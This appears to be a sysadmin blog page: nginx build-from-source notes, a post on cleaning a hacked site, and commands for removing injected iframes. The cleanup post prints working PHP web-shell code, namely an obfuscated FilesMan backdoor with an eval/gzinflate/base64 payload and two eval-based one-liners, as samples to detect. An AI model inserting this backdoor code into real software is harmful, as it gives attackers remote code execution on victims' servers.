./configure –sbin-path=/usr/sbin –conf-path=/etc/nginx/nginx.conf –with-http_gzip_static_module –group=www-data –user=www-data –pid-path=/var/run/nginx.pid –with-http_stub_status_module –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –with-http_flv_module –add-module=/usr/src/nginx_upload_module-2.2.0 –add-module=/usr/src/nginx-upload-progress-module-master
cd nginx_upload_module-2.2.0
wget http://portage.perestoroniny.ru/www-servers/nginx/files/nginx-1.3.9_upload_module.patch
patch -p0 < nginx-1.3.9_upload_module.patch

Recovering from an malware detection (FilesMan Backdoor)

0

if your computer infected virus or trojan, and you connect to ftp server.
then trojan sent your password to hacker.
unfortunately hacker upload backdoor to your website.

access.log
37.130.224.202 – – [23/May/2012:01:18:14 +0700] “POST /6/error/errors.php HTTP/1.0” 200 2762 “http://www.xxxx.com/6/error/errors.php&#8221; “Mozilla/5.0 (Windows NT 6.0; WOW64; rv:8.0.1) Gecko/20100101 Firefox/8.0.1”

find . -type f | xargs grep -l ‘FilesMan’
./6/error/errors.php

<?php

$auth_pass = “”;
$color = “#df5”;
$default_action = “FilesMan”;
$default_charset = “Windows-1251”;

** or entries similar to this **

$auth_pass = “47a85″.”6c68”.”e623468d84123?.”e87881d1e3?;
$color = “#df5?;
$default_action = “File”.’sMa’.’n’;
$default_use_ajax = true;
$default_charset = ‘Windows-’.’1251′;

preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/tq/+jMvqywCvv6P39j8FOaR264O3KnccTazAlD57ZsvQqCke9aVWad+vNwhg/vTo9eBDE+eU7XCftj79oN8fU3Zzpwb/DpxJn0fPhY2eKoh0HoOv1xWS/CiVjJwccKh8EfD2iO4nAWRMtorsqMbK3dZkPHj9ykFvJn7DoDNyxT7o1Grc6e1J+woyBmB8F8OrAlZfLHvfFi7dPd//wN/t+J3Cjygmk3ip0wLmOeHTcMg7AburMgjL3pqFynr97U60ZuXLZ5sh+M7OrRh7dvzUT43CWAyK6m8k2cm6574/bnMZYXexNXgkAyvXd9b+LF5eTjxBl5/e4f8yB2o244nyKQSB64Q2/qlm1ov9PD4yO7yuxmbZMqjU08SucezfplwQmPhvNpH4lgn06PoS+8WeQ70diFHiGW4ECPQjeeh1PmRV3OKDLxOWccQD8r2ykMNnYcB2uxPNRA3iNo9kel7vvj0zNgwgwJlIBwAKYIXUTB22DkTcuctoHnlq3tPjCIG3a2gfUmbOLG42DQBr6KO++dKFoE4aDFtr3pbB6z+HbmtmfiK5s6E/7W0ZOjeQ8an107/txt252O3dneQMzwRxRkCaqwfde8CDuVIQ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wHVbAvK8hdJoxgTCtVGRa7dbHYsfy6CieO4toK/0PtBCTxNj/Zf3d8tt/dffnyBMQGVLiw/2TbqT1h5uBDDyWQ2JxjxOVqKVYmsou2jN48pODXaOq3k71VGkMgAj0qBKIe23mhtlgqRPaiumPc1VyGEjNRmxfpq19yXeyRoyW1QL21EU9mG71ZbeZbVX1tkTGUgznaovNwCBb2LktysLQKgjU6GwP3egN5izU7PzTYD5Z57mAKbIg9ibZgzSLmzG/Yv9kodGeME0UyOcps1tbyevXz6tUX9TIksvuq1s+tmmVc/PdX17VfUNdvEk9P9rRr6ndyon2WHOMK8UfWnGz5cas6G8+69FauVHkafhE3/koI8apAgCADBEYuBo4QqRhLkkJJYtIOBpIc4bmVCjHJNUt6eCg3BAGeLq9x9Gt4uJYexm3ORT3UDtmLVhx5X4qm/OcBsLu8rUirk72Onl5tBjNRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc=’\x29\x29\x29\x3B”,”.”);
?>

This is a backdoor found on many WordPress sites, typically in the file wp-config.php

if (isset($_REQUEST[‘FILE’])){$_FILE = $_REQUEST[‘12722f6d103997f30e9765d0153305’](‘$_’,$_REQUEST[‘FILE’].'($_);’); $_FILE(stripslashes($_REQUEST[‘HOST’]));}

This is a real simple backdoor

$_REQUEST[e] ? eval( base64_decode( $_REQUEST[e] ) ) : exit;

found on php based sites.  This single line of code is found in file added to the site by hackers, frequently disguised as part of a plugin or a theme.  When the hackers request the file they can execute any php code contained in the variable e on the site.

 

If you’ve been a victim of an iframe injection attack, use the following steps to reverse the damage.

Note: Backup your data prior to beginning this procedure! Also be sure to secure whatever was broken and allowed this to happen (old scripts, hacked login details etc).

Use the following command to search for affected files.

find . -type f | xargs grep -l '<iframe.*statanalyze.cn.*iframe' 

Next, use the following command to search and replace on matched iframe text only.

find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' {} \; 

Adjust the contents of the iframe regexp to suit. In this example it is: statanalyze.cn

Handling filenames with blanks

The commands above will not work if you have filenames with blanks in their names. To edit these, use the following commands:

find . -type f -print0 | xargs -0 grep -l '<iframe.*statanalyze.cn.*iframe' find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' "{}" \; 

Installing NginX as Frontend to Apache for ISPCP [Part 1]

0

Part1 – Installing Nginx with upload modult from source

ในส่วนนี้เป็นการติดตั้ง nginx

1. just init script we need

apt-get install nginx
apt-get remove nginx

2. download upload-module from http://www.grid.net.ru/nginx/upload.en.html

wget http://www.grid.net.ru/nginx/download/nginx_upload_module-2.0.12.tar.gz
tar xvfz nginx_upload_module-2.0.12.tar.gz
mv nginx_upload_module-2.0.12 /usr/src/

3. download nginx

wget http://nginx.org/download/nginx-1.0.3.tar.gz
tar xvfz nginx-1.0.3.tar.gz
cd nginx-1.0.3

4. configure and install

./configure –sbin-path=/usr/sbin –conf-path=/etc/nginx/nginx.conf –with-http_gzip_static_module –group=www-data –user=www-data –pid-path=/var/run/nginx.pid –with-http_stub_status_module –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log

make -j8  (j = number of core)
make install

5. create nginx user

adduser –system –no-create-home –disabled-login –disabled-password –group nginx

Reference
http://www.punteney.com/writes/setting-django-slicehost-ubuntu-hardy-postgres-apa/

http://library.linode.com/web-servers/nginx/installation/ubuntu-9.10-karmic